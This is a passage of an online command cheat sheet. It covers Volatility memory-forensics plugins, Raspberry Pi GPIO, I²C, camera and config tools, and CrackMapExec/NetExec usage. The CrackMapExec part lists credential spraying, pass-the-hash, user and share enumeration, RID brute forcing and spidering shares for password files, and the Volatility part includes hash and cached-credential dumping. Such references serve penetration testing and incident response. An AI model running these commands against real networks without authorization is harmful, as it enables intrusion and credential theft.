"Software\Microsoft\Windows\CurrentVersion\Run" ``` Prints the subkeys and values of a specific registry path to check for persistence mechanisms. ### vol -f memory.img windows.registry.userassist ```bash vol -f memory.img windows.registry.userassist ``` Example: ```bash vol -f win10.mem windows.registry.userassist ``` Parses UserAssist keys to determine which programs were executed via the GUI and their run counts. ## Searching & YARA ### vol -f memory.img windows.yarascan --yara-string "" ```bash vol -f memory.img windows.yarascan --yara-string "" ``` Example: ```bash vol -f win10.mem windows.yarascan --yara-string "evil_domain.com" ``` Scans process memory and kernel space for a specific text string using YARA logic. ### vol -f memory.img windows.yarascan --yara-file rules.yar ```bash vol -f memory.img windows.yarascan --yara-file rules.yar ``` Example: ```bash vol -f win10.mem windows.yarascan --yara-file malware_rules.yar ``` Applies a file containing compiled YARA rules to the entire memory image to detect malware signatures. ### vol -f memory.img windows.yarascan --pid --yara-string "" ```bash vol -f memory.img windows.yarascan --pid --yara-string "" ``` Example: ```bash vol -f win10.mem windows.yarascan --pid 4520 --yara-string "{ 4D 5A 90 00 }" ``` Searches for a hex byte sequence (like a PE header) strictly within the memory space of a specific process. ## Extraction & Dumping ### vol -f memory.img windows.pslist --pid --dump ```bash vol -f memory.img windows.pslist --pid --dump ``` Example: ```bash vol -f win10.mem windows.pslist --pid 4520 --dump ``` Extracts the executable image of a running process from memory to disk for static analysis. ### vol -f memory.img windows.dumpfiles --pid ```bash vol -f memory.img windows.dumpfiles --pid ``` Example: ```bash vol -f win10.mem windows.dumpfiles --pid 4520 ``` Dumps all file objects associated with a specific process, recovering open documents or logs. ### vol -f memory.img windows.moddump --pid --base
```bash vol -f memory.img windows.moddump --pid --base
``` Example: ```bash vol -f win10.mem windows.moddump --pid 4520 --base 0x7ff8f000 ``` Extracts a specific loaded module or DLL from a process's memory space based on its base address. ### vol -f memory.img windows.memmap --pid --dump ```bash vol -f memory.img windows.memmap --pid --dump ``` Example: ```bash vol -f win10.mem windows.memmap --pid 4520 --dump ``` Dumps the memory map of a process, preserving the layout of code, data, and heap sections. ## Linux Forensics ### vol -f linux.mem linux.info ```bash vol -f linux.mem linux.info ``` Displays the Linux kernel version and banner from a Linux memory artifact. ### vol -f linux.mem linux.pslist ```bash vol -f linux.mem linux.pslist ``` Walks the task_struct list in Linux kernel memory to identify running processes. ### vol -f linux.mem linux.bash ```bash vol -f linux.mem linux.bash ``` Recovers command history from bash processes, providing visibility into attacker activity. ### vol -f linux.mem linux.check_syscall ```bash vol -f linux.mem linux.check_syscall ``` Checks the system call table for hooks, a common technique for Linux rootkits. ### vol -f linux.mem linux.elfs ```bash vol -f linux.mem linux.elfs ``` Lists Executable and Linkable Format (ELF) binaries loaded in memory. ### vol -f linux.mem linux.lsmod ```bash vol -f linux.mem linux.lsmod ``` Lists loaded kernel modules to identify malicious drivers or unauthorized kernel extensions. ### vol -f linux.mem linux.mount ```bash vol -f linux.mem linux.mount ``` Displays mounted filesystems within the Linux memory image. ## Mac Forensics ### vol -f mac.mem mac.info ```bash vol -f mac.mem mac.info ``` Identifies the macOS kernel version and architecture. ### vol -f mac.mem mac.pslist ```bash vol -f mac.mem mac.pslist ``` Lists running processes on a macOS system by analyzing the proc structures. ### vol -f mac.mem mac.check_syscalls ```bash vol -f mac.mem mac.check_syscalls ``` Validates the system call table on macOS to detect rootkit hooking. ### vol -f mac.mem mac.ifconfig ```bash vol -f mac.mem mac.ifconfig ``` Recovers network interface configurations and status from macOS memory. ## Advanced Filtering ### vol -f memory.img windows.pslist --dump --pid ```bash vol -f memory.img windows.pslist --dump --pid ``` Example: ```bash vol -f win10.mem windows.pslist --dump --pid 1024 ``` Combines filtering by PID and dumping to extract a specific suspicious process immediately. ### vol -f memory.img windows.netscan --pid ```bash vol -f memory.img windows.netscan --pid ``` Example: ```bash vol -f win10.mem windows.netscan --pid 4520 ``` Filters network artifacts to show only connections belonging to a specific compromised process. ## Output & Reporting ### vol -r json -f memory.img windows.pslist ```bash vol -r json -f memory.img windows.pslist ``` Example: ```bash vol -r json -f win10.mem windows.pslist > pslist.json ``` Outputs the process list in JSON format for ingestion into other analysis tools or SIEMs. ### vol -r csv -f memory.img windows.filescan ```bash vol -r csv -f memory.img windows.filescan ``` Example: ```bash vol -r csv -f win10.mem windows.filescan > files.csv ``` Exports the file scan results to CSV format for easy filtering and sorting in spreadsheet software. ### vol -r pretty -f memory.img windows.info ```bash vol -r pretty -f memory.img windows.info ``` Example: ```bash vol -r pretty -f win10.mem windows.info ``` Forces the standard 'pretty' human-readable table output, useful when overriding defaults. ## Timeline Analysis ### vol -f memory.img timeliner.Timeliner ```bash vol -f memory.img timeliner.Timeliner ``` Example: ```bash vol -f win10.mem timeliner.Timeliner ``` Aggregates timestamps from all available plugins (process creation, file modification) into a master timeline. ### vol -r csv -f memory.img timeliner.Timeliner ```bash vol -r csv -f memory.img timeliner.Timeliner ``` Example: ```bash vol -r csv -f win10.mem timeliner.Timeliner > timeline.csv ``` Exports the master timeline to CSV for analysis in timeline visualization tools. ## Credential Hunting ### vol -f memory.img windows.hashdump ```bash vol -f memory.img windows.hashdump ``` Example: ```bash vol -f win10.mem windows.hashdump ``` extracts NTLM hashes from the registry hives loaded in memory (requires SAM and SYSTEM hives). ### vol -f memory.img windows.lmadump ```bash vol -f memory.img windows.lmadump ``` Example: ```bash vol -f win10.mem windows.lmadump ``` Attempts to extract LowerCase LSA secrets/hashes, though less common on modern Windows. ### vol -f memory.img windows.cachedump ```bash vol -f memory.img windows.cachedump ``` Example: ```bash vol -f win10.mem windows.cachedump ``` Extracts cached domain credentials (MSCache) from the registry. ## Threat Hunting ### vol -f memory.img windows.thrdscan ```bash vol -f memory.img windows.thrdscan ``` Example: ```bash vol -f win10.mem windows.thrdscan ``` Scans for ETHREAD structures to find hidden threads or threads detached from their parent processes. ### vol -f memory.img windows.joblinks ```bash vol -f memory.img windows.joblinks ``` Example: ```bash vol -f win10.mem windows.joblinks ``` Enumerates job objects to see if processes are grouped or managed together, common in malware families. ### vol -f memory.img windows.mutantscan ```bash vol -f memory.img windows.mutantscan ``` Example: ```bash vol -f win10.mem windows.mutantscan ``` Scans for mutexes, which are often used by malware to ensure only one instance runs at a time. ### vol -f memory.img windows.symlinkscan ```bash vol -f memory.img windows.symlinkscan ``` Example: ```bash vol -f win10.mem windows.symlinkscan ``` Scans for symbolic links in kernel memory which can reveal redirected file paths or device names. ## Memory Forensics Configuration ### vol -c config.json -f memory.img windows.info ```bash vol -c config.json -f memory.img windows.info ``` Example: ```bash vol -c config.json -f win10.mem windows.info ``` Runs volatility using a pre-defined JSON configuration file to standardize analysis across a team. ## Advanced Debugging ### vol -f memory.img layerwriter.LayerWriter --output-dir ./out ```bash vol -f memory.img layerwriter.LayerWriter --output-dir ./out ``` Example: ```bash vol -f win10.mem layerwriter.LayerWriter ``` writes out the underlying raw memory layer, useful for converting format specific images to raw. ## Memory Mapping ### vol -f memory.img windows.memmap ```bash vol -f memory.img windows.memmap ``` Example: ```bash vol -f win10.mem windows.memmap ``` Provides a detailed map of virtual memory pages for processes. ## Command History ### vol -f memory.img windows.cmdline --pid ```bash vol -f memory.img windows.cmdline --pid ``` Example: ```bash vol -f win10.mem windows.cmdline --pid 1024 ``` Retrieves the command line arguments for a specific process ID. ## Interactive Console ### vol -f memory.img shell ```bash vol -f memory.img shell ``` Example: ```bash vol -f win10.mem shell ``` Drops into an interactive python shell with the configuration context loaded (if plugin available). ## Process Services ### vol -f memory.img windows.get_services ```bash vol -f memory.img windows.get_services ``` Example: ```bash vol -f win10.mem windows.get_services ``` enumerates services registered on the system by parsing the service record database. ## Kernel Objects ### vol -f memory.img windows.objecttypes ```bash vol -f memory.img windows.objecttypes ``` Example: ```bash vol -f win10.mem windows.objecttypes ``` Lists the object types defined in the kernel to understand available structures. ## Memory Integrity ### vol -f memory.img windows.bigpools ```bash vol -f memory.img windows.bigpools ``` Example: ```bash vol -f win10.mem windows.bigpools ``` Enumerates big pool allocations which can sometimes hide injected code or artifacts. ## Filesystem Metadata ### vol -f memory.img windows.mftscan --dump ```bash vol -f memory.img windows.mftscan --dump ``` Example: ```bash vol -f win10.mem windows.mftscan --dump ``` Scans for and dumps resident MFT records for external parsing. ## Malware Hunting ### vol -f memory.img windows.virtmap ```bash vol -f memory.img windows.virtmap ``` Example: ```bash vol -f win10.mem windows.virtmap ``` Shows the mapping between virtual and physical addresses, useful for identifying remapped pages. ## System Info ### vol -f memory.img windows.verinfo ```bash vol -f memory.img windows.verinfo ``` Example: ```bash vol -f win10.mem windows.verinfo ``` Extracts version information from PE files found in memory. ## Related tools - [Volatility 2](https://terminal.rokibulroni.com/tool/forensics/volatility) - [strings](https://terminal.rokibulroni.com/tool/forensics/strings) - [Plaso (log2timeline)](https://terminal.rokibulroni.com/tool/forensics/plaso) # Tool: GPIO tools > Reading and driving Raspberry Pi GPIO pins from the shell using pinctrl and the libgpiod utilities (gpiodetect, gpioget, gpioset). - Category: IoT & Hardware - Commands: 14 - Page: https://terminal.rokibulroni.com/tool/iot/gpio - Homepage: https://www.raspberrypi.com/documentation/computers/os.html#gpio-and-the-40-pin-header - Documentation: https://libgpiod.readthedocs.io - Tags: GPIO, Raspberry Pi, hardware ## Install - apt: `sudo apt install gpiod` ## Discovering ### pinout ```bash pinout ``` Prints a diagram of the 40-pin header for the board you are on (from python3-gpiozero). ### gpiodetect ```bash gpiodetect ``` Lists GPIO chips. On a Pi 5 the header is on gpiochip4 (or a chip labelled pinctrl-rp1); on earlier models gpiochip0. ### gpioinfo ```bash gpioinfo ``` Every line on every chip with its name, direction and whether it is in use. ### gpiofind ```bash gpiofind ``` Example: ```bash gpiofind GPIO17 ``` Finds the chip and offset for a named line (libgpiod 1.x). ## Reading and writing (libgpiod) ### gpioget ```bash gpioget ``` Example: ```bash gpioget gpiochip0 17 ``` Reads the current value of a line (1.x syntax; in 2.x use gpioget -c gpiochip0 17). ### gpioset = ```bash gpioset = ``` Example: ```bash gpioset gpiochip0 17=1 ``` Drives a line high. In libgpiod 2.x gpioset keeps running to hold the value until you stop it. ### gpiomon ```bash gpiomon ``` Example: ```bash gpiomon gpiochip0 27 ``` Waits for and prints edge events, such as a button press. ### gpioget -B pull-up ```bash gpioget -B pull-up ``` Example: ```bash gpioget -B pull-up gpiochip0 22 ``` Enables the internal pull-up resistor while reading. ## pinctrl (Raspberry Pi OS) ### pinctrl get ```bash pinctrl get ``` State of every pin: function, direction, pull and level. ### pinctrl get ```bash pinctrl get ``` Example: ```bash pinctrl get 17 ``` State of one pin. ### pinctrl set op dh ```bash pinctrl set op dh ``` Example: ```bash pinctrl set 17 op dh ``` Sets a pin as an output driving high; dl drives low. ### pinctrl set ip pu ```bash pinctrl set ip pu ``` Example: ```bash pinctrl set 22 ip pu ``` Sets a pin as an input with pull-up. ### pinctrl funcs ```bash pinctrl funcs ``` Example: ```bash pinctrl funcs 14 ``` Lists the alternate functions a pin supports (UART, SPI, I²C…). ## Python ### python3 -c "from gpiozero import LED; from time import sleep; l=LED(17); l.on(); sleep(1); l.off()" ```bash python3 -c "from gpiozero import LED; from time import sleep; l=LED(17); l.on(); sleep(1); l.off()" ``` Blinks an LED on GPIO17 once using gpiozero. ## Related tools - [i2c-tools](https://terminal.rokibulroni.com/tool/iot/i2c-tools) - [raspi-config](https://terminal.rokibulroni.com/tool/iot/raspi-config) # Tool: i2c-tools > Utilities to detect, read and write devices on an I²C bus: i2cdetect, i2cget, i2cset and i2cdump. - Category: IoT & Hardware - Commands: 14 - Page: https://terminal.rokibulroni.com/tool/iot/i2c-tools - Homepage: https://i2c.wiki.kernel.org/index.php/I2C_Tools - Documentation: https://man7.org/linux/man-pages/man8/i2cdetect.8.html - Tags: I2C, hardware, embedded ## Install - apt: `sudo apt install i2c-tools` ## Discovering ### i2cdetect -l ```bash i2cdetect -l ``` Lists the I²C buses on the system. ### i2cdetect -y 1 ```bash i2cdetect -y 1 ``` Scans bus 1 and shows a grid of responding 7-bit addresses. -y skips the confirmation prompt. ### i2cdetect -y -r 1 ```bash i2cdetect -y -r 1 ``` Scans with read-byte commands instead of quick-write — safer for some write-sensitive chips. ### i2cdetect -F 1 ```bash i2cdetect -F 1 ``` Shows what the bus adapter supports. ## Reading ### i2cget -y ```bash i2cget -y ``` Example: ```bash i2cget -y 1 0x76 0xD0 ``` Reads one register. 0xD0 on a BME280 at 0x76 returns its chip ID (0x60). ### i2cget -y w ```bash i2cget -y w ``` Example: ```bash i2cget -y 1 0x48 0x00 w ``` Reads a 16-bit word. Note the byte order may be swapped relative to the datasheet. ### i2cdump -y ```bash i2cdump -y ``` Example: ```bash i2cdump -y 1 0x50 ``` Dumps all 256 registers — on an EEPROM at 0x50 this reads stored data. ### i2cdump -y -r - ```bash i2cdump -y -r - ``` Example: ```bash i2cdump -y -r 0x00-0x0F 1 0x68 ``` Dumps only a range of registers. ## Writing ### i2cset -y ```bash i2cset -y ``` Example: ```bash i2cset -y 1 0x20 0x00 0x00 ``` Writes a byte to a register — here, setting all pins of an MCP23017 as outputs. ### i2cset -y w ```bash i2cset -y w ``` Example: ```bash i2cset -y 1 0x40 0x00 0x1234 w ``` Writes a 16-bit word. ### i2ctransfer -y w@ r ```bash i2ctransfer -y w@ r ``` Example: ```bash i2ctransfer -y 1 w1@0x50 0x00 r16 ``` Combined write-then-read in one transaction — here, setting an EEPROM pointer to 0 and reading 16 bytes. ## Setup ### sudo raspi-config nonint do_i2c 0 ```bash sudo raspi-config nonint do_i2c 0 ``` Enables I²C on a Raspberry Pi. ### ls /dev/i2c-* ```bash ls /dev/i2c-* ``` Confirms the bus device nodes exist. ### sudo usermod -aG i2c $USER ```bash sudo usermod -aG i2c $USER ``` Lets your user access I²C without sudo (log out and back in). ## Related tools - [GPIO tools](https://terminal.rokibulroni.com/tool/iot/gpio) - [raspi-config](https://terminal.rokibulroni.com/tool/iot/raspi-config) # Tool: libcamera apps > Capture stills and video from Raspberry Pi camera modules with rpicam-still, rpicam-vid and friends (formerly libcamera-*). - Category: IoT & Hardware - Commands: 13 - Page: https://terminal.rokibulroni.com/tool/iot/libcamera - Homepage: https://libcamera.org - Documentation: https://www.raspberrypi.com/documentation/computers/camera_software.html - Tags: camera, Raspberry Pi ## Install - apt: `sudo apt install rpicam-apps` ## Detecting ### rpicam-hello --list-cameras ```bash rpicam-hello --list-cameras ``` Lists connected cameras with their sensor modes and resolutions. ### rpicam-hello -t 0 ```bash rpicam-hello -t 0 ``` Shows a live preview until you stop it. On older releases the command is libcamera-hello. ## Stills ### rpicam-still -o ```bash rpicam-still -o ``` Example: ```bash rpicam-still -o photo.jpg ``` Takes a JPEG after a short preview for auto-exposure. ### rpicam-still -n -t 1 -o ```bash rpicam-still -n -t 1 -o ``` Example: ```bash rpicam-still -n -t 1 -o quick.jpg ``` No preview and minimal delay — useful in scripts. ### rpicam-still --width --height -o ```bash rpicam-still --width --height -o ``` Example: ```bash rpicam-still --width 1920 --height 1080 -o hd.jpg ``` Sets the resolution. ### rpicam-still -r -o ```bash rpicam-still -r -o ``` Example: ```bash rpicam-still -r -o raw.jpg ``` Also saves a DNG raw file. ### rpicam-still --timelapse -t -o ```bash rpicam-still --timelapse -t -o ``` Example: ```bash rpicam-still --timelapse 60000 -t 3600000 -o tl_%04d.jpg ``` One frame a minute for an hour. ### rpicam-still --shutter --gain -o ```bash rpicam-still --shutter --gain -o ``` Example: ```bash rpicam-still --shutter 2000000 --gain 1 -o night.jpg ``` Manual exposure: a 2-second shutter at base gain. ### rpicam-still --hflip --vflip -o ```bash rpicam-still --hflip --vflip -o ``` Flips the image when the camera is mounted upside down. ## Video ### rpicam-vid -t -o ```bash rpicam-vid -t -o ``` Example: ```bash rpicam-vid -t 10000 -o clip.h264 ``` Records raw H.264 for the given milliseconds. ### rpicam-vid -t --codec libav -o .mp4 ```bash rpicam-vid -t --codec libav -o .mp4 ``` Example: ```bash rpicam-vid -t 10000 --codec libav -o clip.mp4 ``` Records straight to MP4. ### rpicam-vid -t 0 --inline --listen -o tcp://0.0.0.0: ```bash rpicam-vid -t 0 --inline --listen -o tcp://0.0.0.0: ``` Example: ```bash rpicam-vid -t 0 --inline --listen -o tcp://0.0.0.0:8888 ``` Streams video over TCP; open tcp://:8888 in VLC or ffplay. ### rpicam-vid --framerate --width --height -o ```bash rpicam-vid --framerate --width --height -o ``` Example: ```bash rpicam-vid --framerate 60 --width 1280 --height 720 -t 5000 -o fast.h264 ``` Sets resolution and frame rate. ## Related tools - [raspi-config](https://terminal.rokibulroni.com/tool/iot/raspi-config) - [vcgencmd](https://terminal.rokibulroni.com/tool/iot/vcgencmd) # Tool: raspi-config > The Raspberry Pi configuration tool, interactive or scriptable: enable interfaces, set locale, expand storage and tune boot options. - Category: IoT & Hardware - Commands: 15 - Page: https://terminal.rokibulroni.com/tool/iot/raspi-config - Homepage: https://www.raspberrypi.com/documentation/computers/configuration.html - Documentation: https://www.raspberrypi.com/documentation/computers/configuration.html - Tags: Raspberry Pi, configuration ## Install - apt: `sudo apt install raspi-config` ## Interactive ### sudo raspi-config ```bash sudo raspi-config ``` Opens the menu-driven configuration tool for interfaces, localisation, display, performance and updates. ## Non-interactive ### sudo raspi-config nonint do_ssh 0 ```bash sudo raspi-config nonint do_ssh 0 ``` Enables SSH. In nonint mode 0 means enable and 1 means disable. ### sudo raspi-config nonint do_i2c 0 ```bash sudo raspi-config nonint do_i2c 0 ``` Enables the I²C interface. ### sudo raspi-config nonint do_spi 0 ```bash sudo raspi-config nonint do_spi 0 ``` Enables SPI. ### sudo raspi-config nonint do_serial_hw 0 ```bash sudo raspi-config nonint do_serial_hw 0 ``` Enables the hardware serial port. ### sudo raspi-config nonint do_serial_cons 1 ```bash sudo raspi-config nonint do_serial_cons 1 ``` Disables the login console on serial so the UART is free for devices. ### sudo raspi-config nonint do_hostname ```bash sudo raspi-config nonint do_hostname ``` Example: ```bash sudo raspi-config nonint do_hostname sensor-01 ``` Sets the hostname. ### sudo raspi-config nonint do_wifi_country ```bash sudo raspi-config nonint do_wifi_country ``` Example: ```bash sudo raspi-config nonint do_wifi_country GB ``` Sets the Wi-Fi regulatory country; Wi-Fi stays blocked until this is set. ### sudo raspi-config nonint do_change_timezone ```bash sudo raspi-config nonint do_change_timezone ``` Example: ```bash sudo raspi-config nonint do_change_timezone Europe/London ``` Sets the timezone. ### sudo raspi-config nonint do_boot_behaviour B1 ```bash sudo raspi-config nonint do_boot_behaviour B1 ``` Boots to a console without auto-login. B2 is console with auto-login, B3 desktop, B4 desktop with auto-login. ### sudo raspi-config nonint do_expand_rootfs ```bash sudo raspi-config nonint do_expand_rootfs ``` Expands the root file system to fill the SD card on the next boot. ## Querying ### sudo raspi-config nonint get_ssh ```bash sudo raspi-config nonint get_ssh ``` Prints 0 if SSH is enabled and 1 if not. ### sudo raspi-config nonint get_i2c ```bash sudo raspi-config nonint get_i2c ``` Reports whether I²C is enabled. ### sudo raspi-config nonint get_hostname ```bash sudo raspi-config nonint get_hostname ``` Prints the configured hostname. ### cat /boot/firmware/config.txt ```bash cat /boot/firmware/config.txt ``` The firmware configuration file most raspi-config options write to (/boot/config.txt on older releases). ## Related tools - [vcgencmd](https://terminal.rokibulroni.com/tool/iot/vcgencmd) - [GPIO tools](https://terminal.rokibulroni.com/tool/iot/gpio) - [i2c-tools](https://terminal.rokibulroni.com/tool/iot/i2c-tools) # Tool: vcgencmd > Queries the Raspberry Pi’s VideoCore firmware: temperature, clock speeds, voltages, throttling state and memory split. - Category: IoT & Hardware - Commands: 16 - Page: https://terminal.rokibulroni.com/tool/iot/vcgencmd - Homepage: https://www.raspberrypi.com/documentation/computers/os.html#vcgencmd - Documentation: https://www.raspberrypi.com/documentation/computers/os.html#vcgencmd - Tags: Raspberry Pi, hardware, monitoring ## Install - apt: `sudo apt install libraspberrypi-bin` ## Health ### vcgencmd measure_temp ```bash vcgencmd measure_temp ``` SoC temperature. The Pi starts throttling at about 80 °C. ### vcgencmd get_throttled ```bash vcgencmd get_throttled ``` Throttling flags as a hex bitmask. 0x0 is healthy; bit 0 is under-voltage now, bit 2 throttled now, bit 16 under-voltage has occurred since boot. ### vcgencmd measure_volts core ```bash vcgencmd measure_volts core ``` Core voltage. Also accepts sdram_c, sdram_i and sdram_p. ### watch -n 1 vcgencmd measure_temp ```bash watch -n 1 vcgencmd measure_temp ``` Watches temperature once a second, for example during a stress test. ### vcgencmd pmic_read_adc ```bash vcgencmd pmic_read_adc ``` Raw PMIC voltages and currents on the Raspberry Pi 5. ## Clocks ### vcgencmd measure_clock arm ```bash vcgencmd measure_clock arm ``` Current ARM CPU frequency in Hz. ### vcgencmd measure_clock core ```bash vcgencmd measure_clock core ``` GPU core frequency. ### for c in arm core h264 isp v3d uart emmc; do echo "$c: $(vcgencmd measure_clock $c)"; done ```bash for c in arm core h264 isp v3d uart emmc; do echo "$c: $(vcgencmd measure_clock $c)"; done ``` Prints every major clock. ### vcgencmd get_config arm_freq ```bash vcgencmd get_config arm_freq ``` Configured maximum ARM frequency from config.txt. ## Memory and firmware ### vcgencmd get_mem arm ```bash vcgencmd get_mem arm ``` Memory available to the ARM CPU. ### vcgencmd get_mem gpu ```bash vcgencmd get_mem gpu ``` Memory reserved for the GPU. ### vcgencmd version ```bash vcgencmd version ``` Firmware build date and version. ### vcgencmd get_config int ```bash vcgencmd get_config int ``` Every integer setting the firmware loaded from config.txt. ### vcgencmd codec_enabled H264 ```bash vcgencmd codec_enabled H264 ``` Whether a hardware codec is enabled. ### vcgencmd display_power 0 ```bash vcgencmd display_power 0 ``` Turns HDMI output off; 1 turns it back on. ### vcgencmd otp_dump ```bash vcgencmd otp_dump ``` One-time-programmable memory, including the board serial and revision. ## Related tools - [raspi-config](https://terminal.rokibulroni.com/tool/iot/raspi-config) - [GPIO tools](https://terminal.rokibulroni.com/tool/iot/gpio) # Tool: CrackMapExec / NetExec > The Swiss-army knife for Windows networks: spray credentials, execute commands and dump secrets across SMB, WinRM, LDAP and MSSQL. NetExec (nxc) is the maintained fork. - Category: Lateral Movement - Commands: 100 - Page: https://terminal.rokibulroni.com/tool/lateral/crackmapexec - Homepage: https://www.netexec.wiki - Documentation: https://www.netexec.wiki - Tags: Active Directory, SMB, lateral movement ## Install - apt: `sudo apt install netexec` - pipx: `pipx install git+https://github.com/Pennyw0rth/NetExec` ## Basic Syntax & Help ### crackmapexec -h ```bash crackmapexec -h ``` Displays the main help menu and available protocol options ### crackmapexec smb -h ```bash crackmapexec smb -h ``` Displays specific help and options for the SMB protocol module ### crackmapexec winrm -h ```bash crackmapexec winrm -h ``` Displays specific help and options for the WinRM protocol module ### crackmapexec ssh -h ```bash crackmapexec ssh -h ``` Displays specific help and options for the SSH protocol module ### crackmapexec ldap -h ```bash crackmapexec ldap -h ``` Displays specific help and options for the LDAP protocol module ### crackmapexec mssql -h ```bash crackmapexec mssql -h ``` Displays specific help and options for the MSSQL protocol module ### crackmapexec -L ```bash crackmapexec -L ``` Lists all available modules that can be loaded ### crackmapexec smb --options ```bash crackmapexec smb --options ``` Lists available options and their current settings for the SMB protocol ## Network Discovery ### crackmapexec smb 192.168.1.0/24 ```bash crackmapexec smb 192.168.1.0/24 ``` Performs unauthenticated discovery of SMB hosts across a network range ## Authentication Testing ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jdoe' -p 'Password123!' ``` Tests SMB login with a single cleartext username and password ### crackmapexec smb 192.168.1.10 -u 'users.txt' -p 'passwords.txt' ```bash crackmapexec smb 192.168.1.10 -u 'users.txt' -p 'passwords.txt' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u users.txt -p passwords.txt ``` Performs a credential spray using lists of usernames and passwords ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --local-auth ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --local-auth ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'admin' --local-auth ``` Authenticates against the local SAM database instead of the domain controller ### crackmapexec smb 192.168.1.10 -u 'user' -p '' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p '' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'guest' -p '' ``` Tests for null session or empty password access on the target ### crackmapexec smb 192.168.1.10 -u '' -p '' ```bash crackmapexec smb 192.168.1.10 -u '' -p '' ``` Checks for anonymous authentication access to the target ## Pass-the-Hash ### crackmapexec smb 192.168.1.10 -u 'user' -H 'NTLM_HASH' ```bash crackmapexec smb 192.168.1.10 -u 'user' -H 'NTLM_HASH' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' ``` Authenticates using an NTLM hash instead of a cleartext password ### crackmapexec smb 192.168.1.10 -u 'user' -H 'NT_HASH' ```bash crackmapexec smb 192.168.1.10 -u 'user' -H 'NT_HASH' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -H '31d6cfe0d16ae931b73c59d7e0c089c0' ``` Authenticates using only the NT portion of the hash ## Kerberos Authentication ### crackmapexec smb 192.168.1.10 -k ```bash crackmapexec smb 192.168.1.10 -k ``` Authenticates using an existing Kerberos ticket from the KRB5CCNAME environment variable ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -k ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -k ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jdoe' -p 'Password123' -k ``` Attempts to request a TGT and authenticate via Kerberos with supplied credentials ### crackmapexec smb 192.168.1.10 -u 'user' -H 'NTLM_HASH' -k ```bash crackmapexec smb 192.168.1.10 -u 'user' -H 'NTLM_HASH' -k ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jdoe' -H '31d6cfe0d16ae931b73c59d7e0c089c0' -k ``` Requests a TGT using the RC4 key (NT hash) and authenticates via Kerberos ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --aesKey 'AES_KEY' -k ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --aesKey 'AES_KEY' -k ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jdoe' -p 'pass' --aesKey 'AES256_KEY' -k ``` Authenticates via Kerberos using a specific AES256 key ## Enumeration ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --shares ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --shares ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'guest' -p '' --shares ``` Lists available SMB shares and the user's access level (READ/WRITE) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --sessions ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --sessions ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --sessions ``` Enumerates active SMB sessions on the target host ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --disks ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --disks ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --disks ``` Lists the physical disks and logic drives mounted on the target ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --loggedon-users ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --loggedon-users ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --loggedon-users ``` Enumerates users currently logged on to the target system ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --users ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --users ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --users ``` Enumerates all domain users via the target's SAM or LSA ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --groups ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --groups ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --groups ``` Enumerates all domain groups available on the target ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --local-groups ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --local-groups ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --local-groups ``` Enumerates local groups defined specifically on the target machine ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --pass-pol ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --pass-pol ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'password' --pass-pol ``` Retrieves the domain password policy (complexity, lockout, history) ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --rid-brute 1000 ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --rid-brute 1000 ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'guest' -p '' --rid-brute 2000 ``` Brute forces RIDs to map users and groups when standard enumeration fails ## Spidering ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --spider 'C$' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --spider 'C$' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --spider 'C$' ``` Spiders the C$ share listing all readable files and directories ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --spider 'C$' --regex 'pass' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --spider 'C$' --regex 'pass' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --spider 'C$' --regex 'password' ``` Spiders the share looking only for filenames matching a regex pattern ### crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --spider 'C$' --content ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --spider 'C$' --content ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'admin' -p 'pass' --spider 